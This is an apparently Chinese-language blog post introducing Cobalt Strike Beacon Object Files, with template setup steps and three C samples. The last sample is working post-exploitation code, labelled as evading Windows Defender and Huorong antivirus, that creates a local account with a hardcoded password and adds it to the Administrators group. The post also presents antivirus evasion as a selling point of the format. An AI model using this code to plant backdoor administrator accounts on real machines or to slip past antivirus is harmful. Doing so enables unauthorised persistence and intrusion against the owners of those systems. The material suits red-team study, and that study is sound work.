CS BOF知识

Adfind / 2024-07-16 / 原文

什么是Beacon Object File (BOF)?

引用一下gpt~
Beacon Object File (BOF) 是一种特殊的二进制文件格式,用于在Cobalt Strike的Beacon模块中运行自定义代码。BOF文件是用C语言编写的,然后通过特定工具链编译成适合在Beacon上下文中加载和执行的二进制格式。
BOF的用途
1. 扩展Beacon功能:通过BOF,可以在Cobalt Strike中添加自定义功能,扩展Beacon的能力。这对于需要特殊或定制化功能的红队活动非常有用。
2. 减少检测:BOF文件通常比传统的可执行文件或脚本更难被防病毒软件检测到,因为它们直接在内存中加载和执行,而不需要在磁盘上写入文件。
3. 高效执行:由于BOF文件是用C语言编写并编译的,因此它们可以比用脚本语言编写的模块更高效地执行复杂的任务。
BOF的工作原理
1. 编写C代码:编写一个C程序,实现你需要的功能。这个C程序将使用特定的API和结构,以便能够在Beacon中正确加载和执行。
2. 编译成BOF:使用特定的工具链(例如Cobalt Strike提供的MinGW-w64工具链)将C代码编译成BOF格式。
3. 加载和执行:在Cobalt Strike中,使用特定的命令将BOF文件加载到Beacon中并执行。

模版导入

BOF模版文件
https://github.com/securifybv/Visual-Studio-BOF-template
把模版文件放入
C:\Users\test\Documents\Visual Studio 2022\Templates\ProjectTemplates\
目录下
image.png
选中bof直接编译即可
image.png

代码文件~后续持续更新

输出测试

#include "bofdefs.h"

extern "C" {

#ifdef BOF
    void go(char* buff, int len) {
        BeaconPrintf(CALLBACK_OUTPUT, "Hello, World!");
#endif
    }

}
#ifndef BOF

void main(int argc, char* argv[]) {

    go(NULL, 0);
}

#endif

image.png
image.png

用户名

#include <windows.h>
#include <stdio.h>
#include "bofdefs.h"



#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line,  char* msg, HRESULT hr) {
#ifdef BOF
	BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line,  msg, hr);
#else
	printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOF

	return FALSE;
}
#pragma endregion
DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
DECLSPEC_IMPORT DWORD WINAPI User32$MessageBoxA(HWND, LPCSTR, LPCSTR, UINT);

#ifdef BOF
void go(char* buff, int len) {
	char username[1024];
	DWORD usernameLength = sizeof username;
	ADVAPI32$GetUserNameA(username, &usernameLength);
	BeaconPrintf(CALLBACK_OUTPUT, "当前用户名为:%s", username);
	User32$MessageBoxA(0, 0, 0, 0);
}


#else

void main(int argc, char* argv[]) {
	
}

#endif

image.png

添加用户(可过df 火绒)

#include <windows.h>
#include <lm.h>
#include <stdio.h>
#include "bofdefs.h"

#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#ifdef BOF
    BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
#else
    printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOF

    return FALSE;
}
#pragma endregion
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);

#ifdef BOF
void go(char* buff, int len) {
    if (!BeaconIsAdmin()) {
        BeaconPrintf(CALLBACK_OUTPUT, "非管理权限");
        return;
    }
    LPCWSTR username = L"sanfortest";
    LPCWSTR password = L"san!@#123";
    USER_INFO_1 ui;
    DWORD dwLevel = 1;
    DWORD dwError = 0;
    ZeroMemory(&ui, sizeof(ui));
    ui.usri1_name = (LPWSTR)username;
    ui.usri1_password = (LPWSTR)password;
    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_home_dir = NULL;
    ui.usri1_comment = NULL;
    ui.usri1_flags = UF_SCRIPT | UF_DONT_EXPIRE_PASSWD;
    ui.usri1_script_path = NULL;
    NET_API_STATUS nStatus = NETAPI32$NetUserAdd(NULL, dwLevel, (LPBYTE)&ui, &dwError);
    if (nStatus == NERR_Success) {
        LOCALGROUP_MEMBERS_INFO_3 account;
        account.lgrmi3_domainandname = (LPWSTR)username;
        NET_API_STATUS aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
        if (nStatus == NERR_Success) {
            BeaconPrintf(CALLBACK_OUTPUT, " %ls 用户、管理员组添加成功\n", username);
            BeaconPrintf(CALLBACK_OUTPUT, "用户名: %ls,密码:%ls\n", username, password);
        }
        else {
            BeaconPrintf(CALLBACK_OUTPUT, "用户 %ls 管理员组添加失败", username);
        }
    }
    else {
        BeaconPrintf(CALLBACK_OUTPUT, "User added error %d", nStatus);
    }
}

#else

void main(int argc, char* argv[]) {

}

#endif

image.png
image.png

参考链接
https://cn-sec.com/archives/2250195.html